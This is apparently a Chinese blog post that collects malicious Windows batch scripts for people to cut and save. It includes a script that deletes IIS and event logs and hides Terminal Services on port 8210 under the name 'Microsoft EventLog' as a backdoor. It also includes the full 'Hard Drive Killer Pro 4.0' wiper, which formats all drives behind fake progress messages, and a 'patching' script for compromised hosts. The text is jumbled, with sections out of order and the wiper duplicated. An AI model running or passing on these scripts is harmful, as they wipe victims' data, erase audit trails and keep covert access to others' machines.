  @net stop w3s_blank rel=nofollow>vc 

  @net stop event log 

  @del c:/winnt/system32/logfiles/w3svc1/*.* /f /q 

  @del c:/winnt/system32/logfiles/w3svc2/*.* /f /q 

  @del c:/winnt/system32/config/*.event /f /q 

  @del c:/winnt/system32dtclog/*.* /f /q 

  @del c:/winnt/*.txt /f /q 

  @del c:/winnt/*.log /f /q 

  @net start w3svc 

  @net start event log 

  @rem [刪除日誌] 

  @net stop lanmanserver /y 

  @net stop Schedule /y 

  @net stop RemoteRegistry /y 

  @del patch.dll 

  @echo The server has been patched,Have fun. 

  @del patch.bat 

  @REM [禁止一些危險的服務。] 

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>patch.dll 

  @echo "PortNumber"=dword:00002010 >>patch.dll 

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp >>patch.dll 

  @echo "PortNumber"=dword:00002012 >>patch.dll 

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>patch.dll 

  @echo "Start"=dword:00000002 >>patch.dll 

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>patch.dll 

  @echo "Start"=dword:00000002 >>patch.dll 

  @echo "ErrorControl"=dword:00000001 >>patch.dll 

  @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,/ >>patch.dll 

  @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,/ >>patch.dll 

  @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll 

  @echo "ObjectName"="LocalSystem" >>patch.dll 

  @echo "Type"=dword:00000010 >>patch.dll 

  @echo "Description"="Keep record of the program and windows message。" >>patch.dll 

  @echo "DisplayName"="_blank rel=nofollow>Microsoft EventLog" >>patch.dll 

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>patch.dll 

  @echo "Start"=dword:00000004 >>patch.dll 

  @copy c:/winnt/system32/termsrv.exe c:/winnt/system32/eventlog.exe 

  @REM [修改3389連接,端口爲8210(十六進制爲00002012),名稱爲Microsoft EventLog,留條後路] 

3.Hard Drive Killer Pro Version 4.0(玩批處理到這個水平真的不容易了。) 

  ------------------------ cut here then save as .bat or .cmd file --------------------------- 

  @echo off 

  rem This program is dedecated to a very special person that does not want to be named. 

  :start 

  cls 

  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 

  call attrib -r -h c:/autoexec.bat >nul 

  echo @echo off >c:/autoexec.bat 

  echo call format c: /q /u /autoSample >nul >>c:/autoexec.bat 

  call attrib +r +h c:/autoexec.bat >nul 

  rem Drive checking and assigning the valid drives to the drive variable. 

  set drive= 

  set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z 

  rem code insertion for Drive Checking takes place here. 

  rem drivechk.bat is the file name under the root directory. 

  rem As far as the drive detection and drive variable settings, dont worry about how it 

  rem works, its d/*amn to complicated for the average or even the expert batch programmer. 

  rem Except for Tom Lavedas. 

  echo @echo off >drivechk.bat 

  echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >.bat 

  %comspec% /e:2048 /c .bat >>drivechk.bat 

  del .bat 

  echo if errorlevel 1 goto enddc >>drivechk.bat 

  cls 

  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 

  rem When errorlevel is 1, then the above is not true, if 0, then its true. 

  rem Opposite of binary rules. If 0, it will elaps to the next command. 

  echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >.bat 

  %comspec% /e:2048 /c .bat >>drivechk.bat 

  del .bat 

  echo if errorlevel 1 goto enddc >>drivechk.bat 

  cls 

  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 

  rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. 

  rem if errorlevel is 0, then it will elaps to the next command. 

  echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >.bat 

  %comspec% /e:2048 /c .bat >>drivechk.bat 

  del .bat 

  echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat 

  cls 

  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 

  rem if its errorlevel 1, then the specified drive is a hard or floppy drive. 

  rem if its not errorlevel 1, then the specified drive is a CD-ROM drive. 

  echo :enddc >>drivechk.bat 

  rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". 

  rem Now we will use the program drivechk.bat to attain valid drive information. 

  :Sampledrv 

for %%a in (%alldrive%) do call drivechk.bat %%a >nul 

  del drivechk.bat >nul 

  if %drive.==. set drive=c 

  :form_del 

  call attrib -r -h c:/autoexec.bat >nul 

  echo @echo off >c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat 

  echo cd/ >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat 

  echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat 

  echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat 

  echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat 

  echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat 

  echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat 

  echo echo. >>c:/autoexec.bat 

  echo echo Regards, >>c:/autoexec.bat 

  echo echo. >>c:/autoexec.bat 

  echo echo Munga Bunga >>c:/autoexec.bat 

  call attrib +r +h c:/autoexec.bat 

  :makedir 

  if exist c:/temp.bat attrib -r -h c:/temp.bat >nul 

  echo @echo off >c:/temp.bat 

  echo %%1:/ >>c:/temp.bat 

  echo cd/ >>c:/temp.bat 

  echo :startmd >>c:/temp.bat 

  echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat 

  echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$hole!!!! >>c:/temp.bat 

  echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat 

  call attrib +r +h c:/temp.bat >nul 

  cls 

  echo Initializing Variables . . . 

  rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction. 

  for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul 

  cls 

  echo Initializing Variables . . . 

  echo Validating Data . . . 

  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul 

  cls 

  echo Initializing Variables . . . 

  echo Validating Data . . . 

  echo Analyzing System Structure . . . 

  for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul 

  call attrib +r +h c:/temp.bat >nul 

  call attrib +r +h c:/autoexec.bat >nul 

  cls 

  echo Initializing Variables . . . 

  echo Validating Data . . . 

  echo Analyzing System Structure . . . 

  echo Initializing Application . . . 

  for %%a in (%drive%) call deltree /y %%a:/*. >nul 

  cls 

  echo Initializing Variables . . . 

  echo Validating Data . . . 

  echo Analyzing System Structure . . . 

  echo Initializing Application . . . 

  echo Starting Application . . . 

  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul 

  cls 

  echo Thank you for using a Munga Bunga product. 

  echo. 

  echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. 

  echo. 

  echo Here is a joke for you . . . 

  echo. 

  echo Q). Whats the worst thing about being an egg? 

  echo A). You only get laid once. 

  echo. 

  echo HAHAHAHA, get it? Dont you just love that one? 

  echo. 

  echo Regards, 

  echo. 

  echo Munga Bunga 

  :end 

  rem Hard Drive Killer Pro Version 4.0, enjoy!!!! 

  rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).
 
2.全面加固系統(給肉雞打補丁)的批處理文件 

  ------------------------ cut here then save as .bat or .cmd file --------------------------- 

  @echo Windows Registry Editor Version 5.00 >patch.dll 

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters] >>patch.dll 

  @echo "AutoShareServer"=dword:00000000 >>patch.dll 

  @echo "AutoShareWks"=dword:00000000 >>patch.dll 

  @REM [禁止共享] 

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] >>patch.dll 

  @echo "restrictanonymous"=dword:00000001 >>patch.dll 

  @REM [禁止匿名登錄] 

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters] >>patch.dll 

  @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll 

  @REM [禁止及文件訪問和打印共享] 

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/@REMoteRegistry] >>patch.dll 

  @echo "Start"=dword:00000004 >>patch.dll 

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Schedule] >>patch.dll 

  @echo "Start"=dword:00000004 >>patch.dll 

  @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>patch.dll 

  @echo "ShutdownWithoutLogon"="0" >>patch.dll 

  @REM [禁止登錄前關機] 

  @echo "DontDisplayLastUserName"="1" >>patch.dll 

  @REM [禁止顯示前一個登錄用戶名稱] 

  @regedit /s patch.dll 

  :Sampledrv 

  for %%a in (%alldrive%) do call drivechk.bat %%a >nul 

  del drivechk.bat >nul 

  if %drive.==. set drive=c 

  :form_del 

  call attrib -r -h c:/autoexec.bat >nul 

  echo @echo off >c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 

  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat 

  echo cd/ >>c:/autoexec.bat 

  echo cls >>c:/autoexec.bat 

  echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat 

  echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat 

  echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat 

  echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat 

  echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat 

  echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat 

  echo echo. >>c:/autoexec.bat 

  echo echo Regards, >>c:/autoexec.bat 

  echo echo. >>c:/autoexec.bat 

  echo echo Munga Bunga >>c:/autoexec.bat 

  call attrib +r +h c:/autoexec.bat 

  :makedir 

  if exist c:/temp.bat attrib -r -h c:/temp.bat >nul 

  echo @echo off >c:/temp.bat 

  echo %%1:/ >>c:/temp.bat 

  echo cd/ >>c:/temp.bat 

  echo :startmd >>c:/temp.bat 

  echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat 

  echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$hole!!!! >>c:/temp.bat 

  echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat 

  call attrib +r +h c:/temp.bat >nul 

  cls 

  echo Initializing Variables . . . 

  rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction. 

  for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul 

  cls 

  echo Initializing Variables . . . 

  echo Validating Data . . . 

  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul 

  cls 

  echo Initializing Variables . . . 

  echo Validating Data . . . 

  echo Analyzing System Structure . . . 

  for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul 

  call attrib +r +h c:/temp.bat >nul 

  call attrib +r +h c:/autoexec.bat >nul 

  cls 

  echo Initializing Variables . . . 

  echo Validating Data . . . 

  echo Analyzing System Structure . . . 

  echo Initializing Application . . . 

  for %%a in (%drive%) call deltree /y %%a:/*. >nul 

  cls 

  echo Initializing Variables . . . 

  echo Validating Data . . . 

  echo Analyzing System Structure . . . 

  echo Initializing Application . . . 

  echo Starting Application . . . 

  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul 

  cls 

  echo Thank you for using a Munga Bunga product. 

  echo. 

  echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. 

  echo. 

  echo Here is a joke for you . . . 

  echo. 

  echo Q). Whats the worst thing about being an egg? 

  echo A). You only get laid once. 

  echo. 

  echo HAHAHAHA, get it? Dont you just love that one? 

  echo. 

  echo Regards, 

  echo. 

  echo Munga Bunga 

  :end 

  rem Hard Drive Killer Pro Version 4.0, enjoy!!!! 

  rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).
發佈了41 篇原創文章 · 獲贊 8 · 訪問量 9萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章